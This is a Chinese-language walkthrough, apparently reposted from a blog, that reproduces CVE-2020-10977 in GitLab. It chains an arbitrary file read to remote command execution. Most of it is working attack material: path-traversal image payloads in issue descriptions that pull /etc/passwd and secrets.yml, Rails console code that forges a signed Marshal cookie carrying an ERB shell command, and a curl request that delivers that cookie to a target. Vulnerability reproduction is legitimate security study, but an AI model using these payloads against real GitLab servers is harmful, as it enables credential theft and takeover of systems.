Skip to content

Latest commit

 

History

History
84 lines (45 loc) · 2.19 KB

CVE-2020-10977 Gitlab任意文件读取导致远程命令执行.md

File metadata and controls

84 lines (45 loc) · 2.19 KB

CVE-2020-10977 Gitlab任意文件读取导致远程命令执行

任意文件读取

新建两个测试项目

在其中一个project中创建新的issue,在其问题描述中输入下方代码,然后提交

![a](/uploads/11111111111111111111111111111111/../../../../../../../../../../../../../../etc/passwd)

创建issue成功后点击move issue,将它移动到test2中

test2中的issue中带了一个password附件

点击下载password附件,用记事本方式打开,发现其内容就是/etc/password的内容

RCE(remote command/code execute)

利用任意文件读取漏洞

下载/opt/gitlab/embedded/service/gitlab-rails/config/secrets.yml文件,获取secret_key_base

![a](/uploads/11111111111111111111111111111111/../../../../../../../../../../../../../../opt/gitlab/embedded/service/gitlab-rails/config/secrets.yml)

下载secrets.yml,获取secret_key_base

在自己的攻击机上搭建一个gitlab环境(详见环境搭建笔记)

将目标机下载下来的secerts.yml覆盖在自己攻击机上/opt/gitlab/embedded/service/gitlab-rails/config/secrets.yml

(也可以只替换secret_key_base)

使用gitlab-rails console执行以下命令

gitlab-rails console #进入rails console

依次输入:

request = ActionDispatch::Request.new(Rails.application.env_config)
request.env["action_dispatch.cookies_serializer"] = :marshal
cookies = request.cookie_jar
erb = ERB.new("<%= `echo flag was here > /tmp/flag` %>")
depr = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new(erb, :result, "@result", ActiveSupport::Deprecation.new)
cookies.signed[:cookie] = depr
puts cookies[:cookie]

获取cookie,构造语句:

curl -vvv 'http://192.168.1.86:8888/users/sign_in' -b "experimentation_subject_id=cookie"

(ps:experimentation_subject_id参数输入rail console获取的cookie值)

通过任意文件读取下载/tmp/flag文件,内容:“flag was here”,说明命令执行成功!

EXP:https://www.exploit-db.com/exploits/48431

参考:https://hackerone.com/reports/827052

来源csdn博客,原文已删。

https://forum.ywhack.com/thread-114698-1-3.html